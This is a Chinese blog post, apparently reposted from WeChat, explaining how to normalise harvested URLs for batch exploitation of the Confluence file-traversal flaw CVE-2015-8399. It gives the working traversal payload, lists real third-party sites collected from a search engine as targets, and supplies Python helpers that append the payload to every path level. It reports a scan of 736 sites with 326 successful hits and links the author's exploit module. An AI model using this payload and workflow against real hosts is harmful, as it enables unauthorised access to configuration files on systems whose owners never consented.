在批量PoC的过程中,采集到的URL状态往往是不同的.
因此我们需要对URL进行统一处理,从而确保PoC脚本能够准确的验证每个URL
接下来以实际漏洞举例说明,并给出解决方案.
漏洞示例
Atlassian Confluence 5.8.17 之前版本中存在漏洞,该漏洞源于
spaces/viewdefaultdecorator.action
和admin/viewdefaultdecorator.action
文件没有充分过滤'decoratorName'
参数。远程攻击者可利用该漏洞读取配置文件。
详情参考:
http://zone.wooyun.org/content/27104
http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016010311
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8399
该文件遍历漏洞利用很简单,只要访问这个位置,就可以列出当前目录文件:/spaces/viewdefaultdecorator.action?decoratorName=.
现在我们在搜索引擎采集到的URL有如下几种状态:
1 wiki.kuali.org
2 http://dev.aixuedai.com:8090/
3 https://wiki.netdef.org/display/osr/Home
4 http://cwiki.apache.org/confluence/display/Hive/HCatalog/?id=2#
我们考虑PoC如何编写才能适应以上这些不同形式的URL
解决方案
前两种我们统一URL格式,使PoC脚本能够正确打开即可.而第三第四种情况,我们采集到的URL有多层目录,甚至有POST参数,我们从哪一层开始添加Payload做验证呢?
这里我采用的一种方式是:先整理格式,然后取出URL有用的部分组合成新的URL,再针对多成目录进行组合遍历.
操作过程
-
原始URL:
http://cwiki.apache.org:8090/confluence/display/Hive/HCatalog/?id=2# -
提取后的URL:
protocol:http
domain name:cwiki.apache.org
port:8090
path:/confluence/display/Hive/HCatalog/
params:id=2
fragments:#
-
将path分解
path_list = [‘confluence’, ‘display’, ‘Hive’, ‘HCatalog’] -
去掉无用部分,枚举path字段,组合成新的URL
poc_list = [
‘http://cwiki.apache.org:8090‘,
‘http://cwiki.apache.org:8090/confluence‘,
‘http://cwiki.apache.org:8090/confluence/display‘,
‘http://cwiki.apache.org:8090/confluence/display/Hive‘,
‘http://cwiki.apache.org:8090/confluence/display/Hive/HCatalog’
] -
对4中的每个URL字符串结尾加上
/spaces/viewdefaultdecorator.action?decoratorName=.
做验证
批量实践
使用Python内建模块urlparse来格式化URL,我添加了以下两个函数来满足我们的需求.
def get_domain(url):
"""
added by cdxy May 8 Sun,2016
Use:
get_domain('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')
Return:
'http://cdxy.me:80'
"""
p = urlparse(url)
return urlunsplit([p.scheme, p.netloc, '', '', ''])
def iterate_path(ori_str):
"""
added by cdxy May 8 Sun,2016
Use:
iterate_path_to_list('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')
Return:
['http://cdxy.me:80/path1/path2/index.jsp?id=2#',
'http://cdxy.me:80/'
'http://cdxy.me:80/cdsa',
'http://cdxy.me:80/cdsa/cda',
'http://cdxy.me:80/cdsa/cda/aaa.jsp']
"""
parser = urlparse(ori_str)
_ans_list = [ori_str]
_ans_list.append(get_domain(ori_str))
_path_list = parser.path.replace('//', '/').strip('/').split('/')
s = ''
for each in _path_list:
s += '/' + each
_ans_list.append(urljoin(ori_str, s))
return _ans_list
此漏洞的PoC脚本现已集成到我的并发框架:
扫描结果326 / 736
命中率还是挺高的:
附
-
修改后的urlparser.py https://github.com/Xyntax/POC-T/blob/master/lib/utils/urlparser.py
-
本漏洞验证模块 https://github.com/Xyntax/POC-T/blob/master/module/confluence-file-read.py
原文始发于微信公众号(乐枕迭代日志):解决PoC脚本对多种URL的适应问题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论